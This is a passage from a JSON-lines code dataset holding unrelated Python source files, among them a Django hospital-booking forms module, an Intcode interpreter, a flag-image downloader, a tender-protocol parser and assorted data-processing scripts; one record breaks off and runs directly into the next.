self.get_error_code(tool_name)\n break\n\n if self.config.get('times', 'update') == 'True':\n f = file(\"/etc/mcv/times.json\", \"w\")\n f.write(json.dumps(db))\n f.close()\n\n return {\"test_failures\": self.test_failures,\n \"test_success\": self.test_success,\n \"test_not_found\": self.test_not_found,\n \"time_of_tests\": self.time_of_tests}\n\n def _evaluate_task_results(self, task_results):\n raise NotImplementedError\n\n def orient_self(self):\n self.directory = os.getcwd(\"\")\n","sub_path":"mcv_consoler/plugins/runner.py","file_name":"runner.py","file_ext":"py","file_size_in_byte":8387,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"160649413","text":"\"\"\"Assign texture coordinates to a polygon\n\"\"\"\nfrom vtkplotter import Actor, Text, datadir, show\n\n# define a polygon of 4 vertices:\npolygon_a = [\n [(82, 92, 47), (87, 88, 47), # x,y,z of vertices\n (93, 95, 47), (88, 99, 47)],\n [[0, 1, 2, 3]], # vertex connectivity\n]\n\n# texture coordinates, one (u,v) pair for each vertex:\ntc = [(0,0), (1,0), (1,1), (0,1)]\n#tc = [(0,0), (2,0), (2,2), (0,2)]\n\n# create the vtkActor\na = Actor(polygon_a)\n\na.texture(datadir+\"images/dog.jpg\",\n tcoords=tc,\n interpolate=True,\n repeat=True, # when tcoords extend beyond [0,1]\n edgeClamp=False, # only used when repeat is False\n )\n\nshow(a, Text(__doc__), axes=8)\n","sub_path":"examples/basic/texture_coords.py","file_name":"texture_coords.py","file_ext":"py","file_size_in_byte":714,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"162566202","text":"import datetime\nimport itertools \nfrom protocol import types, inv_types, header_format, MILLIS, Y2KDAYS, NULL, BYTE, INT\n\nclass iter_char(object):\n def __init__(self, bstream, endianness):\n self.bstream = bstream\n self.endianness = endianness\n def __iter__(self):\n while self.bstream.pos < self.bstream.len:\n x = self.bstream.read(format(BYTE,self.endianness))\n yield x\n\ndef str_convert(bstream, endianness):\n return ''.join([chr(i) for i in itertools.takewhile(lambda x: x!=0, iter_char(bstream, endianness))])\n \ndef format(val_type, endianness):\n type_spec = types[val_type]\n return type_spec[0]+endianness+':'+type_spec[1]\n\ndef format_list(val_type, endianness, length):\n type_spec = types[val_type]\n return str(length)+'*'+type_spec[0]+endianness+':'+type_spec[1]\n\ndef get_header(bstream):\n endian = bstream.read(8).int\n msg_type = bstream.read(8).int\n bstream.read(16)\n endianness = 'le' if endian == 1 else 'be'\n size = bstream.read(format(INT, endianness))\n return endianness, size\n\ndef get_date_from_q(i):\n m = i + 24000\n year = m/12\n month = m % 12+1\n day = 1\n return datetime.datetime(year, month, day)\n\ndef get_hour(i):\n if i/3600000 > 0:\n hour = (i/1000)/3600\n minute = ((i/1000)/60) % 60\n second = (i/1000) % 60\n micro = i % 1000\n elif i/3600 > 0:\n hour = i/3600\n minute = (i/60) % 60\n second = i % 60\n micro = 0\n else:\n hour = i/60\n minute = i % 60\n second = 0\n micro = 0\n return datetime.time(hour, minute, second, micro)\n\ndef format_raw_list(val_type, length):\n type_spec = types[val_type]\n return type_spec[2], length*int(type_spec[1])\n\n\n","sub_path":"q/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1757,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"126506455","text":"from velociraptor.observations.objects import ObservationalData\n\nimport unyt\nimport numpy as np\nimport os\nimport sys\n\n# Exec the master cosmology file passed as first argument\nwith open(sys.argv[1], \"r\") as handle:\n exec(handle.read())\n\n# Cosmology\nh_sim = cosmology.h\nOmega_b = cosmology.Ob0\nOmega_m = cosmology.Om0\n\ninput_filename = \"../raw/Lin2012.dat\"\n\noutput_filename = \"Lin2012.hdf5\"\noutput_directory = \"../\"\n\nif not os.path.exists(output_directory):\n os.mkdir(output_directory)\n\n# Read the data\nraw = np.loadtxt(input_filename)\nM_500 = unyt.unyt_array((0.71 / h_sim) * 10 ** raw[:, 0], units=\"Msun\")\nM_500_error = unyt.unyt_array((0.71 / h_sim) * raw[:, 1], units=\"Msun\")\nM_500_gas = unyt.unyt_array((0.71 / h_sim) * 10 ** raw[:, 2], units=\"Msun\")\nM_500_gas_error = unyt.unyt_array((0.71 / h_sim) * raw[:, 3], units=\"Msun\")\nz = raw[:, 6]\n\n# Compute the gas fractions\nfb_500 = (M_500_gas / M_500) * (0.71 / h_sim) ** (2.5)\nfb_500_error = fb_500 * ((M_500_error / M_500) + (M_500_gas_error / M_500_gas))\n\n# Normalise by the cosmic mean\nfb_500 = fb_500 / (Omega_b / Omega_m)\nfb_500_error = fb_500_error / (Omega_b / Omega_m)\n\n# Select only the low-z data\nM_500 = M_500[z < 0.25]\nfb_500 = fb_500[z < 0.25]\nM_500_error = M_500_error[z < 0.25]\nfb_500_error = fb_500_error[z < 0.25]\n\n# Define the scatter as offset from the mean value\nx_scatter = M_500_error\ny_scatter = fb_500_error\n\n# Meta-data\ncomment = (\n \"Ionized gas out of 94 clusters combining Chandra, WISE and 2MASS. \"\n \"Data was corrected for the simulation's cosmology.\"\n)\ncitation = \"Lin et al. (2012; $z<0.25$ only)\"\nbibcode = \"2012ApJ...745L...3L\"\nname = \"Halo mass - Gas fraction relation from Chandra-observed clusters.\"\nplot_as = \"points\"\nredshift = 0.1\nh = h_sim\n\n# Write everything\nprocessed = ObservationalData()\nprocessed.associate_x(\n M_500, scatter=x_scatter, comoving=True, description=\"Halo mass (M_500)\"\n)\nprocessed.associate_y(\n fb_500, scatter=y_scatter, comoving=True, description=\"Gas fraction (\n\nPOP20_CC = ('CN IN US ID BR PK NG BD RU JP '\n 'MX PH VN ET EG DE IR TR CD FR').split() # <2>\n\nBASE_URL = 'http://flupy.org/data/flags' # <3>\n\nDEST_DIR = 'downloaded/' # <4>\n\n\ndef save_flag(img, filename): # <5>\n path = os.path.join(DEST_DIR, filename)\n with open(path, 'wb') as fp:\n fp.write(img)\n\n\ndef get_flag(cc): # <6>\n cc = cc.lower()\n url = f'{BASE_URL}/{cc}/{cc}.gif'\n resp = urllib.request.urlopen(url)\n return resp.read()\n\n\ndef download_many(cc_list): # <7>\n for cc in sorted(cc_list): # <8>\n image = get_flag(cc)\n print(cc, end=' ', flush=True)\n save_flag(image, cc.lower() + '.gif')\n\n return len(cc_list)\n\n\ndef main(): # <9>\n t0 = time.perf_counter()\n count = download_many(POP20_CC)\n elapsed = time.perf_counter() - t0\n print(f'\\n{count} downloads in {elapsed:.2f}s')\n\n\nif __name__ == '__main__':\n main()\n# END FLAGS_PY\n","sub_path":"flags/flags.py","file_name":"flags.py","file_ext":"py","file_size_in_byte":1235,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"558398452","text":"# The football.csv file contains the results from the English Premier League. \n# The columns labeled ‘Goals’ and ‘Goals Allowed’ contain the total number of \n# goals scored for and against each team in that season (so Arsenal scored 79 goals \n# against opponents, and had 36 goals scored against them). Write a program to read the file, \n# then print the name of the team with the smallest difference in ‘for’ and ‘against’ goals.\n\nfilename = 'football.csv'\n\nfin = open(filename, 'r')\nd = {}\nfor line in fin:\n temp = line.split(',')\n if temp[0] != 'Team':\n d[temp[0]] = temp[5:7]\n\nfin.close()\n\nd2 = {}\nfor key in d:\n goals_for = int(d[key][0])\n goals_against = int(d[key][1])\n diff = abs(goals_for - goals_against)\n if diff not in d2:\n d2[diff] = [key]\n else:\n d2[diff].append(key)\n\nprint(d2[min(d2)])\n","sub_path":"python/q8_parsing.py","file_name":"q8_parsing.py","file_ext":"py","file_size_in_byte":860,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"461721131","text":"ADD = 1\nMULTIPLY = 2\nINPUT = 3\nOUTPUT = 4\nJUMP_IF_TRUE = 5\nJUMP_IF_FALSE = 6\nLESS_THAN = 7\nEQUALS = 8\nSTOP = 99\n\nPOSITION_MODE = 0\nIMMEDIATE_MODE = 1\n\ndef execute_program(content, input):\n def add(params):\n [(a,a_mode), (b, b_mode), (c, c_mode)] = params\n\n # if c_mode == IMMEDIATE_MODE:\n # return 1\n\n first = program[a] if a_mode == POSITION_MODE else a\n second = program[b] if b_mode == POSITION_MODE else b\n program[c] = first + second\n\n def multiply(params):\n [(a,a_mode), (b, b_mode), (c, c_mode)] = params\n\n # if c_mode == IMMEDIATE_MODE:\n # return 1\n\n first = program[a] if a_mode == POSITION_MODE else a\n second = program[b] if b_mode == POSITION_MODE else b\n program[c] = first * second\n\n def get_input(params):\n [(a, a_mode)] = params\n\n # if a_mode == IMMEDIATE_MODE:\n # return 1\n\n program[a] = input[0]\n\n def set_output(params):\n [(a, a_mode)] = params\n return program[a] if a_mode == POSITION_MODE else a\n\n def jump_if_true(params):\n [(a, a_mode), (b, b_mode)] = params\n first = program[a] if a_mode == POSITION_MODE else a\n second = program[b] if b_mode == POSITION_MODE else b\n\n if first != 0:\n return second\n\n def jump_if_false(params):\n [(a, a_mode), (b, b_mode)] = params\n first = program[a] if a_mode == POSITION_MODE else a\n second = program[b] if b_mode == POSITION_MODE else b\n\n if first == 0:\n return second\n\n def less_than(params):\n [(a, a_mode), (b, b_mode), (c, c_mode)] = params\n # if c_mode == IMMEDIATE_MODE:\n # return 1\n\n first = program[a] if a_mode == POSITION_MODE else a\n second = program[b] if b_mode == POSITION_MODE else b\n\n program[c] = int(first < second)\n\n def equals(params):\n [(a, a_mode), (b, b_mode), (c, c_mode)] = params\n # if c_mode == IMMEDIATE_MODE:\n # return 1\n\n first = program[a] if a_mode == POSITION_MODE else a\n second = program[b] if b_mode == POSITION_MODE else b\n\n program[c] = int(first == second)\n\n codes = {\n ADD: {\n \"num\": 3,\n \"func\": add\n },\n MULTIPLY: {\n \"num\": 3,\n \"func\": multiply\n },\n INPUT: {\n \"num\": 1,\n \"func\": get_input\n },\n OUTPUT: {\n \"num\": 1,\n \"func\": set_output\n },\n JUMP_IF_TRUE: {\n \"num\": 2,\n \"func\": jump_if_true\n },\n JUMP_IF_FALSE: {\n \"num\": 2,\n \"func\": jump_if_false\n },\n LESS_THAN: {\n \"num\": 3,\n \"func\": less_than\n },\n EQUALS: {\n \"num\": 3,\n \"func\": equals\n },\n STOP: {\n \"num\": 0,\n \"func\": None\n },\n }\n\n program = [int(x) for x in content.split(\",\")]\n\n index = 0\n output = []\n while program[index] != STOP:\n instruction = program[index]\n opcode = instruction % 100\n\n cur_function = codes[opcode][\"func\"]\n cur_param_num = codes[opcode][\"num\"]\n\n parameters = []\n mode_list = int(instruction/100)\n for i in range(index + 1, index + cur_param_num + 1):\n parameters.append((program[i], mode_list % 10))\n mode_list = int(mode_list/10)\n\n next_index = index + cur_param_num + 1\n\n cur_result = cur_function(parameters)\n if opcode == OUTPUT:\n output.append(cur_result)\n elif opcode in [JUMP_IF_TRUE, JUMP_IF_FALSE] and cur_result:\n next_index = cur_result\n\n index = next_index\n return program, output\n","sub_path":"day_05/intcode_computer.py","file_name":"intcode_computer.py","file_ext":"py","file_size_in_byte":3775,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"233944064","text":"import os\n\n# Variables for keeping track of the file paths and number of potential subdirectories in the input folder\nOUTPUT_PATH = \"../outputdata/\"\nINPUT_PATH = \"../inputdata/batch_\"\nCOMPLETED_PATH = \"../inputdata/completed/\"\nNUM_SUBDIRECTORIES = 50\n\n# Dictionary to store the files which have already been processed\nfile_dict = {}\n\n# Check whether or not the completed folder has already been created; if not, create it\nif not os.path.isdir(COMPLETED_PATH):\n os.mkdir(COMPLETED_PATH)\n\n# Iterate over all of the output files and store them in the dictionary; the .txt output files should have the same names as the .txt input files\nfor filename in os.listdir(OUTPUT_PATH):\n if filename.endswith(\".txt\"):\n file_dict[filename] = True\n\n# Check input files against the dictionary; if the input files are in the dictionary, move them to the completed folder so we do not process them again\nfor x in range(0, NUM_SUBDIRECTORIES):\n input_path = INPUT_PATH + str(x) + \"/\"\n for filename in os.listdir(input_path):\n if file_dict.get(filename):\n print(\"Moving file \" + filename + \" to the \" + COMPLETED_PATH + \" folder\")\n file_path = input_path + filename\n completed_file_path = COMPLETED_PATH + filename\n os.rename(file_path, completed_file_path)\n\nprint(\"Finished moving all files\")","sub_path":"scripts/move_completed.py","file_name":"move_completed.py","file_ext":"py","file_size_in_byte":1303,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"548448778","text":"def find(x):\n if par[x] < 0:\n return x\n else:\n par[x] = find(par[x])\n return par[x]\n# 同一の集合の判定\ndef same(x, y):\n if find(x) == find(y):\n return True\n else:\n return False\n# 集合の併合\ndef unite(x, y):\n x = find(x)\n y = find(y)\n if x == y:\n return\n if par[x] > par[y]:\n x, y = y, x\n par[x] += par[y]\n par[y] = x\n\n# 集合の数\ndef uCnt(x):\n return -par[find(x)]\n\nN, M = map(int, input().split())\npar = [-1 for i in range(N)]\ntmp = ((N * (N - 1)) // 2)\nab = [list(map(int, input().split())) for _ in range(M)]\nans = [0] * M\nans[M - 1] = tmp\nfor i in range(M - 1, 0, -1):\n fa = find(ab[i][0] - 1)\n fb = find(ab[i][1] - 1)\n ans[i - 1] = ans[i]\n if fa != fb:\n ans[i - 1] -= uCnt(fa) * uCnt(fb)\n unite(ab[i][0] - 1, ab[i][1] - 1)\n\nfor i in ans:\n print(i)","sub_path":"Python_codes/p03108/s803284651.py","file_name":"s803284651.py","file_ext":"py","file_size_in_byte":879,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"184430381","text":"import pulumi\nfrom pulumi import Output\n\nclass MyComponent(pulumi.ComponentResource):\n outprop: pulumi.Output[str]\n def __init__(self, name, inprop: pulumi.Input[str] = None, opts = None):\n super().__init__('pkg:index:MyComponent', name, None, opts)\n if inprop is None:\n raise TypeError(\"Missing required property 'inprop'\")\n self.outprop = pulumi.Output.from_input(inprop).apply(lambda x: f\"output: {x}\")\n\nclass Instance(pulumi.CustomResource):\n public_ip: pulumi.Output[str]\n def __init__(self, resource_name, name: pulumi.Input[str] = None, value: pulumi.Input[str] = None, opts = None):\n if name is None:\n raise TypeError(\"Missing required property 'name'\")\n __props__: dict = dict()\n __props__[\"public_ip\"] = None\n __props__[\"name\"] = name\n __props__[\"value\"] = value\n super(Instance, self).__init__('aws:ec2/instance:Instance', resource_name, __props__, opts)\n\ndef do_invoke():\n value = pulumi.runtime.invoke(\"test:index:MyFunction\", props={\"value\": 41}).value\n return value[\"out_value\"]\n\nmycomponent = MyComponent(\"mycomponent\", inprop=\"hello\")\nmyinstance = Instance(\"instance\",\n name=\"myvm\",\n value=pulumi.Output.secret(\"secret_value\"))\ninvoke_result = do_invoke()\n\npulumi.export(\"hello\", \"world\")\npulumi.export(\"outprop\", mycomponent.outprop)\npulumi.export(\"public_ip\", myinstance.public_ip)\n","sub_path":"sdk/python/lib/test_with_mocks/resources.py","file_name":"resources.py","file_ext":"py","file_size_in_byte":1454,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"568654845","text":"# -*- coding: utf-8 -*-\n\n# Copyright (c) 2010-2015, MIT Probabilistic Computing Project\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport os\n\nimport bayeslite\nfrom bayeslite.core import bayesdb_get_generator\nfrom bayeslite.metamodels.crosscat import CrosscatMetamodel\nimport bayeslite.read_csv as read_csv\nimport crosscat.LocalEngine\n\nroot = os.path.dirname(os.path.abspath(__file__))\ndha_csv = os.path.join(root, 'dha.csv')\n\n# Test that simulating a column constrained to have a specific value\n# returns that value, not any old random draw from the observed\n# variables given the conditionally drawn latent variables.\n#\n# XXX This should be a metamodel-independent test.\ndef test_simulate_drawconstraint():\n with bayeslite.bayesdb_open(builtin_metamodels=False) as bdb:\n cc = crosscat.LocalEngine.LocalEngine(seed=0)\n metamodel = CrosscatMetamodel(cc)\n bayeslite.bayesdb_register_metamodel(bdb, metamodel)\n with open(dha_csv, 'rU') as f:\n read_csv.bayesdb_read_csv(bdb, 'dha', f, header=True, create=True)\n bdb.execute('''\n CREATE GENERATOR dha_cc FOR dha USING crosscat (\n GUESS(*),\n name KEY\n )\n ''')\n bdb.execute('INITIALIZE 1 MODEL FOR dha_cc')\n bdb.execute('ANALYZE dha_cc FOR 1 ITERATION WAIT')\n samples = bdb.execute('''\n SIMULATE ttl_mdcr_spnd, n_death_ill FROM dha_cc\n GIVEN TTL_MDCR_SPND = 40000\n LIMIT 100\n ''').fetchall()\n assert [s[0] for s in samples] == [40000] * 100\n","sub_path":"tests/test_simulate.py","file_name":"test_simulate.py","file_ext":"py","file_size_in_byte":2092,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"629615022","text":"import numpy as np\nimport os\nimport pandas as pd\n\nfilelist = os.listdir('study2/Pillow/GTSRB/Final_Training/Images_P')\n\ndef one_hot(v):\n index = v.astype('uint8').flatten()\n rows = v.shape[0]\n cols = index.max() + 1\n temp = np.zeros((rows,cols),dtype='float32')\n temp[np.arange(rows),index] = 1.0\n return temp\n\nfor file in filelist:\n data = pd.read_csv('study2/Pillow/GTSRB/Final_Training/Images_P/' + file + '/' + file + '.csv', header=None)\n rows = data.shape[0]\n if file == '00000':\n temp = np.zeros((rows,1),dtype='float32')\n else :\n temp = np.ones((rows,1),dtype='float32')\n new = np.zeros((1,1), dtype='float32')\n new[0,0] = file\n temp = temp.dot(new)\n temp = np.hstack((data,temp))\n row = (rows//10) * 8\n train = temp[ : row , :]\n test = temp[row : , :]\n\n if file == '00000':\n train_list = train\n test_list = test\n else :\n train_list = np.vstack((train_list,train))\n test_list = np.vstack((test_list, test))\n \n print(file + ' complete')\n\nnp.random.shuffle(train_list)\nnp.random.shuffle(test_list)\n\ntrain_images = train_list[ : , : 1024]\ntrain_labels = train_list[ : , 1024 :]\ntest_images = test_list[ : , : 1024]\ntest_labels = test_list[ : , 1024 :]\n\ntrain_labels = one_hot(train_labels)\ntest_labels = one_hot(test_labels)\n\nnp.savetxt('study2/Pillow/GTSRB/Final_Training/data/train_images.csv', train_images, fmt = '%.6f', delimiter = ',')\nnp.savetxt('study2/Pillow/GTSRB/Final_Training/data/train_labels.csv', train_labels, fmt = '%.6f', delimiter = ',')\nnp.savetxt('study2/Pillow/GTSRB/Final_Training/data/test_images.csv', test_images, fmt = '%.6f', delimiter = ',')\nnp.savetxt('study2/Pillow/GTSRB/Final_Training/data/test_labels.csv', test_labels, fmt = '%.6f', delimiter = ',')\n","sub_path":"study2/Pillow/csv_div.py","file_name":"csv_div.py","file_ext":"py","file_size_in_byte":1797,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"266194710","text":"import os, logging, logging.config, shutil, sys, traceback, ujson, warnings, uuid\r\nimport numpy as np\r\nimport pandas as pd\r\nimport configparser\r\nimport mysql.connector\r\nfrom mysql.connector import Error\r\nfrom datetime import datetime\r\n\r\n# Turn off the warnings\r\nwarnings.simplefilter(action = 'ignore', category = FutureWarning)\r\npd.set_option('mode.chained_assignment', None)\r\n\r\nconfig = configparser.ConfigParser()\r\nconfig.read('config.ini')\r\n\r\n# Directory\r\nplcDataDir = config['directory']['plc-data']\r\ntempDir = config['directory']['data-temp']\r\ncsvDir = config['directory']['csv']\r\n\r\n# MySQL \r\nhost = config['MySQL']['host']\r\nuser = config['MySQL']['user']\r\npasswd = config['MySQL']['passwd']\r\ndatabase = config['MySQL']['database']\r\nmax_allowed_packet = config['MySQL']['max_allowed_packet']\r\ninsertSize = int(config['MySQL']['insertSize'])\r\n\r\n# machineInfo\r\nline = config['machineInfo']['line']\r\nfloor = config['machineInfo']['floor']\r\nlocation = config['machineInfo']['location']\r\n\r\n# maxLine\r\nmaxLine = int(config['maxLine']['maxLine'])\r\n\r\n# configure_logger set level\r\nlogger_level = config['configure_logger']['level']\r\n\r\n# create folders with current date\r\ncurrentDate = datetime.now().strftime('%Y-%m-%d')\r\ncurrentDateDir = config['directory']['data-temp'] + currentDate\r\n\r\nlogging.basicConfig(\r\n level = logger_level, \r\n format = '%(asctime)s %(levelname)s: %(message)s',\r\n datefmt = '%Y-%m-%d %H:%M:%S',\r\n filename = config['directory']['log'] + currentDate + '.log'\r\n)","sub_path":"lib.py","file_name":"lib.py","file_ext":"py","file_size_in_byte":1496,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"149240123","text":"from utils.cache import Redis\nfrom utils.logs import Logger\nlogger = Logger().get_logger()\n\n\nclass PopularProductRecommendation:\n def __init__(self):\n self.name = \"recommendaion:popular_product\"\n\n def response(self, event, context, **resp):\n logger.debug(f'Event: {event}')\n resp_body = {'request_id': context.aws_request_id}\n product_id = event.get('queryStringParameters', {}).get('product_id')\n\n redis = Redis()\n connection = redis.connect()\n data = redis.getfrom_hash(connection, self.name, product_id)\n if data:\n status_code = 200\n resp_body.update({\n 'message': data,\n })\n else:\n status_code = 401\n resp_body.update({\n 'message': \"{}\"\n })\n\n resp['status_code'] = status_code\n resp['body'] = resp_body\n return resp\n\n","sub_path":"recommendation/handlers/popular_product.py","file_name":"popular_product.py","file_ext":"py","file_size_in_byte":907,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"224134080","text":"import datetime\n\nimport dateutil.parser\n\nimport UtilsFunctions\nfrom ClassProtocolEOK2 import ProtocolEOK2\nfrom connect_to_db import connect_bd\nfrom VarExecut import PREFIX, DB\nfrom UtilsFunctions import logging_parser\n\n\nclass ProtocolEOKOU1New(ProtocolEOK2):\n add = 0\n update = 0\n\n def __init__(self, protocol, xml):\n super().__init__(protocol, xml)\n\n def get_abandoned_reason(self):\n d = UtilsFunctions.get_el(self.protocol, 'abandonedReason', 'name')\n k = UtilsFunctions.get_el(self.protocol, 'abandonedReason', 'code')\n if d and k:\n return f'{d}|{k}'\n return d or k\n\n def get_price(self, application):\n d = UtilsFunctions.get_el(application, 'admittedInfo', 'singleAppAdmittedInfo', 'price')\n return d\n\n\ndef parserEOKOU1New(doc, path_xml, filexml, reg, type_f):\n p = ProtocolEOKOU1New(doc, filexml)\n purchase_number = p.get_purchaseNumber()\n # print(purchase_number)\n if not purchase_number:\n logging_parser('У протокола нет purchase_number', path_xml)\n return\n xml = path_xml[path_xml.find('/') + 1:][(path_xml[path_xml.find('/') + 1:]).find('/') + 1:]\n id_protocol = p.get_id()\n url = p.get_url_external()\n print_form = p.get_print_form_ext()\n protocol_date = p.get_protocol_date()\n con = connect_bd(DB)\n cur = con.cursor()\n lot_number = 1\n abandoned_reason_name = p.get_abandoned_reason()\n cur.execute(\n f\"\"\"SELECT id FROM {PREFIX}auction_end_protocol WHERE id_protocol = %s AND purchase_number = %s \n AND type_protocol = %s\"\"\",\n (id_protocol, purchase_number, type_f))\n res_id = cur.fetchone()\n if res_id:\n # logging_parser('такой протокол есть в базе', xml)\n cur.close()\n con.close()\n return\n cancel_status = 0\n updated = False\n date_prot = dateutil.parser.parse(protocol_date[:19])\n cur.execute(f\"\"\"SELECT id, protocol_date FROM {PREFIX}auction_end_protocol WHERE purchase_number = %s \n AND type_protocol = %s\"\"\",\n (purchase_number, type_f))\n res_prot = cur.fetchall()\n if res_prot:\n updated = True\n for r in res_prot:\n if date_prot >= datetime.datetime.strptime(str(r['protocol_date']), \"%Y-%m-%d %H:%M:%S\"):\n cur.execute(f\"\"\"UPDATE {PREFIX}auction_end_protocol SET cancel = 1 WHERE id = %s\"\"\",\n (r['id'],))\n else:\n cancel_status = 1\n dop_info = p.get_dop_info(p)\n cur.execute(\n f\"\"\"INSERT INTO {PREFIX}auction_end_protocol SET id_protocol = %s, protocol_date = %s, purchase_number = %s, \n url = %s, print_form = %s, xml = %s, type_protocol = %s, cancel = %s, lot_number = %s, abandoned_reason_name = %s, dop_info = %s\"\"\",\n (id_protocol, protocol_date, purchase_number, url, print_form, xml, type_f, cancel_status, lot_number,\n abandoned_reason_name, dop_info))\n id_p = cur.lastrowid\n if not id_p:\n logging_parser('Не получили id', xml)\n if updated:\n ProtocolEOKOU1New.update += 1\n else:\n ProtocolEOKOU1New.add += 1\n for app in p.applications:\n journal_number = p.get_journal_number(app)\n app_rating = p.get_app_rating(app)\n admission = p.get_admission(app)\n id_participiant = 0\n inn = p.get_inn(app)\n kpp = p.get_kpp(app)\n organization_name = p.get_organization_name(app)\n participant_type = p.get_participant_type(app)\n country_full_name = p.get_country_full_name(app)\n post_address = p.get_post_address(app)\n price = p.get_price(app)\n if inn:\n cur.execute(f\"\"\"SELECT id FROM {PREFIX}auction_participant WHERE inn = %s AND kpp = %s\"\"\",\n (inn, kpp))\n res_p = cur.fetchone()\n if res_p:\n id_participiant = res_p['id']\n else:\n cur.execute(f\"\"\"INSERT INTO {PREFIX}auction_participant SET inn = %s, kpp = %s, \n organization_name = %s, participant_type = %s, country_full_name = %s, \n post_address = %s\"\"\",\n (inn, kpp, organization_name, participant_type, country_full_name, post_address))\n id_participiant = cur.lastrowid\n if id_participiant == 0:\n logging_parser('Нет инн', xml, type_f)\n\n cur.execute(f\"\"\"INSERT INTO {PREFIX}auction_end_applications SET id_auction_end_protocol = %s, \n journal_number = %s, app_rating = %s, admission = %s,\n id_participiant = %s, price = %s\"\"\",\n (id_p, journal_number, app_rating, admission, id_participiant, price))\n cur.close()\n con.close()\n","sub_path":"ClassProtocolEOKOU1New.py","file_name":"ClassProtocolEOKOU1New.py","file_ext":"py","file_size_in_byte":4973,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"421569967","text":"import re\nfrom django import forms\nfrom patient.models import Patient\nfrom .models import Hospital, get_user_model, HospitalRequest, Images\n\nUser = get_user_model()\n\n\nclass HospitalUserForm(forms.ModelForm):\n class Meta:\n model = User\n fields = ['username', 'email', 'mobile_number',\n 'profile_image']\n help_texts = {\n 'username': None\n\n }\n\n def clean(self):\n cleaned_data = super().clean()\n mobile_number = cleaned_data.get(\"mobile_number\")\n mob = re.match(r'^[6-9]\\d{9}$', mobile_number)\n if mob is None:\n raise forms.ValidationError(\"mobile no must be 10 digits \")\n\n\nclass HospitalProfileForm(forms.ModelForm):\n address = forms.CharField(required=True)\n\n class Meta:\n model = Hospital\n fields = '__all__'\n exclude = ('is_type', 'user')\n\n\nclass AddDoctorForm(forms.ModelForm):\n first_name = forms.CharField(required=True)\n last_name = forms.CharField(required=True)\n\n class Meta:\n model = User\n fields = ['first_name', 'last_name', 'username', 'email', 'mobile_number', 'gender']\n help_texts = {\n 'username': None\n }\n\n def clean(self):\n cleaned_data = super().clean()\n mobile_number = cleaned_data.get(\"mobile_number\")\n mob = re.match(r'^[6-9]\\d{9}$', mobile_number)\n if mob is None:\n raise forms.ValidationError(\"mobile no must be indian and 10 digits \")\n\n if User.objects.filter(username=cleaned_data['username']).exists():\n raise forms.ValidationError(\"this username is all_ready exists.\")\n else:\n if HospitalRequest.objects.filter(username=cleaned_data['username']).exists():\n raise forms.ValidationError(\"this username is all_ready exists.\")\n\n\nclass HospitalRequestForm(forms.ModelForm):\n class Meta:\n model = HospitalRequest\n fields = ['name', 'email', 'mobile', 'username', 'website', 'type']\n labels = {\n \"name\": \"Hospital/Clinic Name\",\n }\n\n def clean(self):\n cleaned_data = super().clean()\n mobile_number = cleaned_data.get(\"mobile\")\n mob = re.match(r'^[6-9]\\d{9}$', mobile_number)\n if mob is None:\n raise forms.ValidationError(\"mobile no must be 10 digits \")\n\n if User.objects.filter(username=cleaned_data['username']).exists():\n raise forms.ValidationError(\"this username is all_ready exists.\")\n else:\n if HospitalRequest.objects.filter(username=cleaned_data['username']).exists():\n raise forms.ValidationError(\"this username is all_ready exists.\")\n\n\nclass PatientForm(forms.ModelForm):\n GENDER_CHOICES = (\n ('M', 'Male'),\n ('F', 'Female'),\n )\n first_name = forms.CharField(required=True)\n last_name = forms.CharField(required=True)\n mobile_no = forms.CharField(widget=forms.TextInput(attrs={'id': 'mobile_no'}))\n email = forms.EmailField(required=True)\n gender = forms.ChoiceField(required=True, choices=GENDER_CHOICES)\n\n # birth_date = forms.DateField(required=False)\n\n class Meta:\n model = Patient\n fields = ['first_name', 'last_name', 'mobile_no',\n 'email', 'gender']\n\n\nclass UploadImages(forms.ModelForm):\n\n class Meta:\n model = Images\n fields = ['image']\n exclude = ('hospital', )\n","sub_path":"BookMyDoc/hospital/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":3400,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"295516697","text":"# Copyright 2019 The TensorNetwork Authors\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\"\"\"Tests for tensornetwork.contractors.stochastic_contractor.\"\"\"\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport numpy as np\nimport 